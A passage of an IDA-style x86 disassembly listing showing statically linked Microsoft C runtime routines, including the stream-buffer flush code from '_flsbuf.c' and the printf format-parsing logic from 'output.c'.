0Ch mov eax, [ebp+arg_0] add eax, 1 cmp eax, 100h ja short loc_41E77A mov ecx, [ebp+arg_0] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, [ebp+arg_4] jmp loc_41E803 ; --------------------------------------------------------------------------- loc_41E77A: ; CODE XREF: sub_41E750+11j mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh and ecx, 0FFh mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_41E7C3 mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh mov [ebp+var_C], cl mov dl, byte ptr [ebp+arg_0] mov [ebp+var_B], dl mov [ebp+var_A], 0 mov [ebp+var_8], 2 jmp short loc_41E7D4 ; --------------------------------------------------------------------------- loc_41E7C3: ; CODE XREF: sub_41E750+4Fj mov al, byte ptr [ebp+arg_0] mov [ebp+var_C], al mov [ebp+var_B], 0 mov [ebp+var_8], 1 loc_41E7D4: ; CODE XREF: sub_41E750+71j push 1 push 0 push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx lea eax, [ebp+var_C] push eax push 1 call sub_426F40 add esp, 1Ch test eax, eax jnz short loc_41E7F8 xor eax, eax jmp short loc_41E803 ; --------------------------------------------------------------------------- loc_41E7F8: ; CODE XREF: sub_41E750+A2j mov eax, [ebp+var_4] and eax, 0FFFFh and eax, [ebp+arg_4] loc_41E803: ; CODE XREF: sub_41E750+25j ; sub_41E750+A6j mov esp, ebp pop ebp retn sub_41E750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E810 proc near ; CODE XREF: sub_418D70+E5p ; sub_418EF0+E4p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi loc_41E819: ; CODE XREF: sub_41E810+31j cmp [ebp+arg_4], 0 jnz short loc_41E83D push offset aStrNull ; "str != NULL" push 0 push 69h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41E83D int 3 ; Trap to Debugger loc_41E83D: ; CODE XREF: sub_41E810+Dj ; sub_41E810+2Aj xor eax, eax test eax, eax jnz short loc_41E819 mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_10], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 82h test edx, edx jz short loc_41E86F mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 40h test ecx, ecx jz short loc_41E885 loc_41E86F: ; CODE XREF: sub_41E810+50j mov edx, [ebp+var_8] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_8] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_41EA7D ; --------------------------------------------------------------------------- loc_41E885: ; CODE XREF: sub_41E810+5Dj mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 1 test eax, eax jz short loc_41E8DC mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 10h test eax, eax jz short loc_41E8C5 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFFEh mov eax, [ebp+var_8] mov [eax+0Ch], edx jmp short loc_41E8DC ; --------------------------------------------------------------------------- loc_41E8C5: ; CODE XREF: sub_41E810+97j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+var_8] mov [eax+0Ch], edx or eax, 0FFFFFFFFh jmp loc_41EA7D ; --------------------------------------------------------------------------- loc_41E8DC: ; CODE XREF: sub_41E810+80j ; sub_41E810+B3j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov [ebp+var_4], 0 mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jnz short loc_41E94F cmp [ebp+var_8], offset dword_442FA0 jz short loc_41E933 cmp [ebp+var_8], offset dword_442FC0 jnz short loc_41E943 loc_41E933: ; CODE XREF: sub_41E810+118j mov edx, [ebp+var_10] push edx call sub_4271D0 add esp, 4 test eax, eax jnz short loc_41E94F loc_41E943: ; CODE XREF: sub_41E810+121j mov eax, [ebp+var_8] push eax call sub_427100 add esp, 4 loc_41E94F: ; CODE XREF: sub_41E810+10Fj ; sub_41E810+131j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz loc_41EA3B loc_41E963: ; CODE XREF: sub_41E810+187j mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax] sub edx, [ecx+8] test edx, edx jge short loc_41E993 push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"... push 0 push 0A0h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41E993 int 3 ; Trap to Debugger loc_41E993: ; CODE XREF: sub_41E810+160j ; sub_41E810+180j xor eax, eax test eax, eax jnz short loc_41E963 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx] sub eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+var_8] mov [eax], edx mov ecx, [ebp+var_8] mov edx, [ecx+18h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+4], edx cmp [ebp+var_4], 0 jle short loc_41E9E6 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, [edx+8] push eax mov ecx, [ebp+var_10] push ecx call sub_422370 add esp, 0Ch mov [ebp+var_C], eax jmp short loc_41EA2E ; --------------------------------------------------------------------------- loc_41E9E6: ; CODE XREF: sub_41E810+1B8j cmp [ebp+var_10], 0FFFFFFFFh jz short loc_41EA09 mov edx, [ebp+var_10] sar edx, 5 mov eax, [ebp+var_10] and eax, 1Fh imul eax, 24h mov ecx, dword_492420[edx*4] add ecx, eax mov [ebp+var_14], ecx jmp short loc_41EA10 ; --------------------------------------------------------------------------- loc_41EA09: ; CODE XREF: sub_41E810+1DAj mov [ebp+var_14], offset dword_443658 loc_41EA10: ; CODE XREF: sub_41E810+1F7j mov edx, [ebp+var_14] movsx eax, byte ptr [edx+4] and eax, 20h test eax, eax jz short loc_41EA2E push 2 push 0 mov ecx, [ebp+var_10] push ecx call sub_424B00 add esp, 0Ch loc_41EA2E: ; CODE XREF: sub_41E810+1D4j ; sub_41E810+20Cj mov edx, [ebp+var_8] mov eax, [edx+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41EA59 ; --------------------------------------------------------------------------- loc_41EA3B: ; CODE XREF: sub_41E810+14Dj mov [ebp+var_4], 1 mov edx, [ebp+var_4] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] push ecx call sub_422370 add esp, 0Ch mov [ebp+var_C], eax loc_41EA59: ; CODE XREF: sub_41E810+229j mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jz short loc_41EA75 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx or eax, 0FFFFFFFFh jmp short loc_41EA7D ; --------------------------------------------------------------------------- loc_41EA75: ; CODE XREF: sub_41E810+24Fj mov eax, [ebp+arg_0] and eax, 0FFh loc_41EA7D: ; CODE XREF: sub_41E810+70j ; sub_41E810+C7j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41E810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA90 proc near ; CODE XREF: sub_418D70+9Ap ; sub_418EF0+99p ... var_2A6 = word ptr -2A6h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = byte ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = word ptr -248h var_244 = dword ptr -244h var_240 = byte ptr -240h var_23F = byte ptr -23Fh var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = byte ptr -228h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2A8h push ebx push esi push edi mov [ebp+var_24], 0 mov [ebp+var_22C], 0 mov [ebp+var_18], 0 loc_41EAB4: ; CODE XREF: sub_41EA90:loc_41F6A2j mov eax, [ebp+arg_4] mov cl, [eax] mov byte ptr [ebp+var_28], cl movsx edx, byte ptr [ebp+var_28] mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test edx, edx jz loc_41F6A7 cmp [ebp+var_22C], 0 jl loc_41F6A7 movsx ecx, byte ptr [ebp+var_28] cmp ecx, 20h jl short loc_41EB06 movsx edx, byte ptr [ebp+var_28] cmp edx, 78h jg short loc_41EB06 movsx eax, byte ptr [ebp+var_28] movsx ecx, byte ptr [eax+432EC8h] and ecx, 0Fh mov [ebp+var_290], ecx jmp short loc_41EB10 ; --------------------------------------------------------------------------- loc_41EB06: ; CODE XREF: sub_41EA90+55j ; sub_41EA90+5Ej mov [ebp+var_290], 0 loc_41EB10: ; CODE XREF: sub_41EA90+74j mov edx, [ebp+var_290] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_18] movsx edx, ds:byte_432EE8[ecx+eax*8] sar edx, 4 mov [ebp+var_18], edx mov eax, [ebp+var_18] mov [ebp+var_294], eax cmp [ebp+var_294], 7 ja loc_41F6A2 mov ecx, [ebp+var_294] jmp ds:off_41F6B4[ecx*4] loc_41EB50: ; CODE XREF: sub_41EA90+332j ; DATA XREF: .text:off_41F6B4o mov [ebp+var_1C], 0 mov edx, [ebp+var_28] and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_41EBCD lea edx, [ebp+var_22C] push edx mov eax, [ebp+arg_0] push eax movsx ecx, byte ptr [ebp+var_28] push ecx call sub_41F7C0 add esp, 0Ch mov edx, [ebp+arg_4] mov al, [edx] mov byte ptr [ebp+var_28], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_41EB9E: ; CODE XREF: sub_41EA90+13Bj movsx edx, byte ptr [ebp+var_28] test edx, edx jnz short loc_41EBC7 push offset aCh_t0 ; "ch != _T('\\0')" push 0 push 186h push offset aOutput_c ; "output.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41EBC7 int 3 ; Trap to Debugger loc_41EBC7: ; CODE XREF: sub_41EA90+114j ; sub_41EA90+134j xor eax, eax test eax, eax jnz short loc_41EB9E loc_41EBCD: ; CODE XREF: sub_41EA90+E3j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx movsx eax, byte ptr [ebp+var_28] push eax call sub_41F7C0 add esp, 0Ch jmp loc_41F6A2 ; --------------------------------------------------------------------------- loc_41EBEA: ; CODE XREF: sub_41EA90+B9j ; DATA XREF: .text:0041F6B8o mov [ebp+var_8], 0 mov ecx, [ebp+var_8] mov [ebp+var_23C], ecx mov edx, [ebp+var_23C] mov [ebp+var_244], edx mov eax, [ebp+var_244] mov [ebp+var_10], eax mov [ebp+var_4], 0 mov [ebp+var_234], 0FFFFFFFFh mov [ebp+var_1C], 0 jmp loc_41F6A2 ; --------------------------------------------------------------------------- loc_41EC2C: ; CODE XREF: sub_41EA90+B9j ; DATA XREF: .text:0041F6BCo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_298], ecx mov edx, [ebp+var_298] sub edx, 20h mov [ebp+var_298], edx cmp [ebp+var_298], 10h ja short loc_41EC96 mov ecx, [ebp+var_298] xor eax, eax mov al, ds:byte_41F6EC[ecx] jmp ds:off_41F6D4[eax*4] loc_41EC63: ; CODE XREF: sub_41EA90+B9j ; DATA XREF: .text:0041F6E0o mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx jmp short loc_41EC96 ; --------------------------------------------------------------------------- loc_41EC6E: ; CODE XREF: sub_41EA90+B9j ; sub_41EA90+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax jmp short loc_41EC96 ; --------------------------------------------------------------------------- loc_41EC78: ; CODE XREF: sub_41EA90+B9j ; sub_41EA90+1CCj ; DATA XREF: ... mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx jmp short loc_41EC96 ; --------------------------------------------------------------------------- loc_41EC83: ; CODE XREF: sub_41EA90+B9j ; sub_41EA90+1CCj ; DATA XREF: ... mov edx, [ebp+var_4] or dl, 80h mov [ebp+var_4], edx jmp short loc_41EC96 ; --------------------------------------------------------------------------- loc_41EC8E: ; CODE XREF: sub_41EA90+B9j ; sub_41EA90+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_41EC96: ; CODE XREF: sub_41EA90+B9j ; sub_41EA90+1BCj ... jmp loc_41F6A2 ; --------------------------------------------------------------------------- loc_41EC9B: ; CODE XREF: sub_41EA90+B9j ; DATA XREF: .text:0041F6C0o movsx ecx, byte ptr [ebp+var_28] cmp ecx, 2Ah jnz short loc_41ECD7 lea edx, [ebp+arg_8] push edx call sub_41F8D0 add esp, 4 mov [ebp+var_244], eax cmp [ebp+var_244], 0 jge short loc_41ECD5 mov eax, [ebp+var_4] or al, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_244] neg ecx mov [ebp+var_244], ecx loc_41ECD5: ; CODE XREF: sub_41EA90+22Dj jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECD7: ; CODE XREF: sub_41EA90+212j mov edx, [ebp+var_244] imul edx, 0Ah movsx eax, byte ptr [ebp+var_28] lea ecx, [edx+eax-30h] mov [ebp+var_244], ecx loc_41ECEE: ; CODE XREF: sub_41EA90:loc_41ECD5j jmp loc_41F6A2 ; --------------------------------------------------------------------------- loc_41ECF3: ; CODE XREF: sub_41EA90+B9j ; DATA XREF: .text:0041F6C4o mov [ebp+var_234], 0 jmp loc_41F6A2 ; --------------------------------------------------------------------------- loc_41ED02: ; CODE XREF: sub_41EA90+B9j ; DATA XREF: .text:0041F6C8o movsx edx, byte ptr [ebp+var_28] cmp edx, 2Ah jnz short loc_41ED32 lea eax, [ebp+arg_8] push eax call sub_41F8D0 add esp, 4 mov [ebp+var_234], eax cmp [ebp+var_234], 0 jge short loc_41ED30 mov [ebp+var_234], 0FFFFFFFFh loc_41ED30: ; CODE XREF: sub_41EA90+294j jmp short loc_41ED49 ; --------------------------------------------------------------------------- loc_41ED32: ; CODE XREF: sub_41EA90+279j mov ecx, [ebp+var_234] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_28] lea eax, [ecx+edx-30h] mov [ebp+var_234], eax loc_41ED49: ; CODE XREF: sub_41EA90:loc_41ED30j jmp loc_41F6A2 ; --------------------------------------------------------------------------- loc_41ED4E: ; CODE XREF: sub_41EA90+B9j ; DATA XREF: .text:0041F6CCo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_29C], ecx mov edx, [ebp+var_29C] sub edx, 49h mov [ebp+var_29C], edx cmp [ebp+var_29C], 2Eh ja short loc_41EDDC mov ecx, [ebp+var_29C] xor eax, eax mov al, ds:byte_41F711[ecx] jmp ds:off_41F6FD[eax*4] loc_41ED85: ; DATA XREF: .text:0041F705o mov edx, [ebp+var_4] or edx, 10h mov [ebp+var_4], edx jmp short loc_41EDDC ; --------------------------------------------------------------------------- loc_41ED90: ; CODE XREF: sub_41EA90+2EEj ; DATA XREF: .text:off_41F6FDo mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 36h jnz short loc_41EDBB mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] cmp eax, 34h jnz short loc_41EDBB mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] or dh, 80h mov [ebp+var_4], edx jmp short loc_41EDC7 ; --------------------------------------------------------------------------- loc_41EDBB: ; CODE XREF: sub_41EA90+309j ; sub_41EA90+315j mov [ebp+var_18], 0 jmp loc_41EB50 ; --------------------------------------------------------------------------- loc_41EDC7: ; CODE XREF: sub_41EA90+329j jmp short loc_41EDDC ; --------------------------------------------------------------------------- loc_41EDC9: ; CODE XREF: sub_41EA90+2EEj ; DATA XREF: .text:0041F701o mov eax, [ebp+var_4] or al, 20h mov [ebp+var_4], eax jmp short loc_41EDDC ; --------------------------------------------------------------------------- loc_41EDD3: ; CODE XREF: sub_41EA90+2EEj ; DATA XREF: .text:0041F709o mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_41EDDC: ; CODE XREF: sub_41EA90+2DEj ; sub_41EA90+2EEj ... jmp loc_41F6A2 ; --------------------------------------------------------------------------- loc_41EDE1: ; CODE XREF: sub_41EA90+B9j ; DATA XREF: .text:0041F6D0o movsx edx, byte ptr [ebp+var_28] mov [ebp+var_2A0], edx mov eax, [ebp+var_2A0] sub eax, 43h mov [ebp+var_2A0], eax cmp [ebp+var_2A0], 35h ja loc_41F4C7 mov edx, [ebp+var_2A0] xor ecx, ecx mov cl, ds:byte_41F77C[edx] jmp ds:off_41F740[ecx*4] loc_41EE1C: ; DATA XREF: .text:off_41F740o mov eax, [ebp+var_4] and eax, 830h test eax, eax jnz short loc_41EE31 mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_41EE31: ; CODE XREF: sub_41EA90+385j ; sub_41EA90+396j ; DATA XREF: ... mov edx, [ebp+var_4] and edx, 810h test edx, edx jz short loc_41EE77 lea eax, [ebp+arg_8] push eax call sub_41F910 add esp, 4 mov [ebp+var_14], ax mov cx, [ebp+var_14] push ecx lea edx, [ebp+var_228] push edx call sub_427210 add esp, 8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jge short loc_41EE75 mov [ebp+var_23C], 1 loc_41EE75: ; CODE XREF: sub_41EA90+3D9j jmp short loc_41EE9D ; --------------------------------------------------------------------------- loc_41EE77: ; CODE XREF: sub_41EA90+3ACj lea eax, [ebp+arg_8] push eax call sub_41F8D0 add esp, 4 mov [ebp+var_248], ax mov cl, byte ptr [ebp+var_248] mov [ebp+var_228], cl mov [ebp+var_24], 1 loc_41EE9D: ; CODE XREF: sub_41EA90:loc_41EE75j lea edx, [ebp+var_228] mov [ebp+var_20], edx jmp loc_41F4C7 ; --------------------------------------------------------------------------- loc_41EEAB: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F750o lea eax, [ebp+arg_8] push eax call sub_41F8D0 add esp, 4 mov [ebp+var_24C], eax cmp [ebp+var_24C], 0 jz short loc_41EED2 mov ecx, [ebp+var_24C] cmp dword ptr [ecx+4], 0 jnz short loc_41EEEC loc_41EED2: ; CODE XREF: sub_41EA90+434j mov edx, off_442F64 mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_418E70 add esp, 4 mov [ebp+var_24], eax jmp short loc_41EF3B ; --------------------------------------------------------------------------- loc_41EEEC: ; CODE XREF: sub_41EA90+440j mov ecx, [ebp+var_4] and ecx, 800h test ecx, ecx jz short loc_41EF1C mov edx, [ebp+var_24C] mov eax, [edx+4] mov [ebp+var_20], eax mov ecx, [ebp+var_24C] movsx edx, word ptr [ecx] shr edx, 1 mov [ebp+var_24], edx mov [ebp+var_1C], 1 jmp short loc_41EF3B ; --------------------------------------------------------------------------- loc_41EF1C: ; CODE XREF: sub_41EA90+467j mov [ebp+var_1C], 0 mov eax, [ebp+var_24C] mov ecx, [eax+4] mov [ebp+var_20], ecx mov edx, [ebp+var_24C] movsx eax, word ptr [edx] mov [ebp+var_24], eax loc_41EF3B: ; CODE XREF: sub_41EA90+45Aj ; sub_41EA90+48Aj jmp loc_41F4C7 ; --------------------------------------------------------------------------- loc_41EF40: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F748o mov ecx, [ebp+var_4] and ecx, 830h test ecx, ecx jnz short loc_41EF56 mov edx, [ebp+var_4] or dh, 8 mov [ebp+var_4], edx loc_41EF56: ; CODE XREF: sub_41EA90+385j ; sub_41EA90+4BBj ; DATA XREF: ... cmp [ebp+var_234], 0FFFFFFFFh jnz short loc_41EF6B mov [ebp+var_2A4], 7FFFFFFFh jmp short loc_41EF77 ; --------------------------------------------------------------------------- loc_41EF6B: ; CODE XREF: sub_41EA90+4CDj mov eax, [ebp+var_234] mov [ebp+var_2A4], eax loc_41EF77: ; CODE XREF: sub_41EA90+4D9j mov ecx, [ebp+var_2A4] mov [ebp+var_258], ecx lea edx, [ebp+arg_8] push edx call sub_41F8D0 add esp, 4 mov [ebp+var_20], eax mov eax, [ebp+var_4] and eax, 810h test eax, eax jz short loc_41F006 cmp [ebp+var_20], 0 jnz short loc_41EFAD mov ecx, off_442F68 mov [ebp+var_20], ecx loc_41EFAD: ; CODE XREF: sub_41EA90+512j mov [ebp+var_1C], 1 mov edx, [ebp+var_20] mov [ebp+var_254], edx loc_41EFBD: ; CODE XREF: sub_41EA90+564j mov eax, [ebp+var_258] mov ecx, [ebp+var_258] sub ecx, 1 mov [ebp+var_258], ecx test eax, eax jz short loc_41EFF6 mov edx, [ebp+var_254] xor eax, eax mov ax, [edx] test eax, eax jz short loc_41EFF6 mov ecx, [ebp+var_254] add ecx, 2 mov [ebp+var_254], ecx jmp short loc_41EFBD ; --------------------------------------------------------------------------- loc_41EFF6: ; CODE XREF: sub_41EA90+544j ; sub_41EA90+553j mov edx, [ebp+var_254] sub edx, [ebp+var_20] sar edx, 1 mov [ebp+var_24], edx jmp short loc_41F060 ; --------------------------------------------------------------------------- loc_41F006: ; CODE XREF: sub_41EA90+50Cj cmp [ebp+var_20], 0 jnz short loc_41F014 mov eax, off_442F64 mov [ebp+var_20], eax loc_41F014: ; CODE XREF: sub_41EA90+57Aj mov ecx, [ebp+var_20] mov [ebp+var_250], ecx loc_41F01D: ; CODE XREF: sub_41EA90+5C2j mov edx, [ebp+var_258] mov eax, [ebp+var_258] sub eax, 1 mov [ebp+var_258], eax test edx, edx jz short loc_41F054 mov ecx, [ebp+var_250] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41F054 mov eax, [ebp+var_250] add eax, 1 mov [ebp+var_250], eax jmp short loc_41F01D ; --------------------------------------------------------------------------- loc_41F054: ; CODE XREF: sub_41EA90+5A4j ; sub_41EA90+5B1j mov ecx, [ebp+var_250] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_41F060: ; CODE XREF: sub_41EA90+574j jmp loc_41F4C7 ; --------------------------------------------------------------------------- loc_41F065: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F760o lea edx, [ebp+arg_8] push edx call sub_41F8D0 add esp, 4 mov [ebp+var_25C], eax mov eax, [ebp+var_4] and eax, 20h test eax, eax jz short loc_41F093 mov ecx, [ebp+var_25C] mov dx, word ptr [ebp+var_22C] mov [ecx], dx jmp short loc_41F0A1 ; --------------------------------------------------------------------------- loc_41F093: ; CODE XREF: sub_41EA90+5EFj mov eax, [ebp+var_25C] mov ecx, [ebp+var_22C] mov [eax], ecx loc_41F0A1: ; CODE XREF: sub_41EA90+601j mov [ebp+var_23C], 1 jmp loc_41F4C7 ; --------------------------------------------------------------------------- loc_41F0B0: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F744o mov [ebp+var_8], 1 mov dl, byte ptr [ebp+var_28] add dl, 20h mov byte ptr [ebp+var_28], dl loc_41F0C0: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F75Co mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax lea ecx, [ebp+var_228] mov [ebp+var_20], ecx cmp [ebp+var_234], 0 jge short loc_41F0E6 mov [ebp+var_234], 6 jmp short loc_41F102 ; --------------------------------------------------------------------------- loc_41F0E6: ; CODE XREF: sub_41EA90+648j cmp [ebp+var_234], 0 jnz short loc_41F102 movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_41F102 mov [ebp+var_234], 1 loc_41F102: ; CODE XREF: sub_41EA90+654j ; sub_41EA90+65Dj ... mov eax, [ebp+arg_8] add eax, 8 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov edx, [ecx] mov eax, [ecx+4] mov [ebp+var_264], edx mov [ebp+var_260], eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_234] push edx movsx eax, byte ptr [ebp+var_28] push eax mov ecx, [ebp+var_20] push ecx lea edx, [ebp+var_264] push edx call off_443200 add esp, 14h mov eax, [ebp+var_4] and eax, 80h test eax, eax jz short loc_41F168 cmp [ebp+var_234], 0 jnz short loc_41F168 mov ecx, [ebp+var_20] push ecx call off_44320C add esp, 4 loc_41F168: ; CODE XREF: sub_41EA90+6C0j ; sub_41EA90+6C9j movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_41F18A mov eax, [ebp+var_4] and eax, 80h test eax, eax jnz short loc_41F18A mov ecx, [ebp+var_20] push ecx call off_443204 add esp, 4 loc_41F18A: ; CODE XREF: sub_41EA90+6DFj ; sub_41EA90+6EBj mov edx, [ebp+var_20] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_41F1A7 mov ecx, [ebp+var_4] or ch, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_41F1A7: ; CODE XREF: sub_41EA90+703j mov eax, [ebp+var_20] push eax call sub_418E70 add esp, 4 mov [ebp+var_24], eax jmp loc_41F4C7 ; --------------------------------------------------------------------------- loc_41F1BB: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F758o mov ecx, [ebp+var_4] or ecx, 40h mov [ebp+var_4], ecx mov [ebp+var_238], 0Ah jmp loc_41F255 ; --------------------------------------------------------------------------- loc_41F1D3: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F770o mov [ebp+var_238], 0Ah jmp short loc_41F255 ; --------------------------------------------------------------------------- loc_41F1DF: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F768o mov [ebp+var_234], 8 loc_41F1E9: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F74Co mov [ebp+var_230], 7 jmp short loc_41F1FF ; --------------------------------------------------------------------------- loc_41F1F5: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F774o mov [ebp+var_230], 27h loc_41F1FF: ; CODE XREF: sub_41EA90+763j mov [ebp+var_238], 10h mov edx, [ebp+var_4] and edx, 80h test edx, edx jz short loc_41F233 mov [ebp+var_240], 30h mov eax, [ebp+var_230] add eax, 51h mov [ebp+var_23F], al mov [ebp+var_10], 2 loc_41F233: ; CODE XREF: sub_41EA90+784j jmp short loc_41F255 ; --------------------------------------------------------------------------- loc_41F235: ; CODE XREF: sub_41EA90+385j ; DATA XREF: .text:0041F764o mov [ebp+var_238], 8 mov ecx, [ebp+var_4] and ecx, 80h test ecx, ecx jz short loc_41F255 mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx loc_41F255: ; CODE XREF: sub_41EA90+73Ej ; sub_41EA90+74Dj ... mov eax, [ebp+var_4] and eax, 8000h test eax, eax jz short loc_41F27E lea ecx, [ebp+arg_8] push ecx call sub_41F8F0 add esp, 4 mov [ebp+var_278], eax mov [ebp+var_274], edx jmp loc_41F30F ; --------------------------------------------------------------------------- loc_41F27E: ; CODE XREF: sub_41EA90+7CFj mov edx, [ebp+var_4] and edx, 20h test edx, edx jz short loc_41F2D0 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_41F2B0 lea ecx, [ebp+arg_8] push ecx call sub_41F8D0 add esp, 4 movsx eax, ax cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_41F2CE ; --------------------------------------------------------------------------- loc_41F2B0: ; CODE XREF: sub_41EA90+800j lea edx, [ebp+arg_8] push edx call sub_41F8D0 add esp, 4 and eax, 0FFFFh cdq mov [ebp+var_278], eax mov [ebp+var_274], edx loc_41F2CE: ; CODE XREF: sub_41EA90+81Ej jmp short loc_41F30F ; --------------------------------------------------------------------------- loc_41F2D0: ; CODE XREF: sub_41EA90+7F6j mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_41F2F5 lea ecx, [ebp+arg_8] push ecx call sub_41F8D0 add esp, 4 cdq mov [ebp+var_278], eax mov 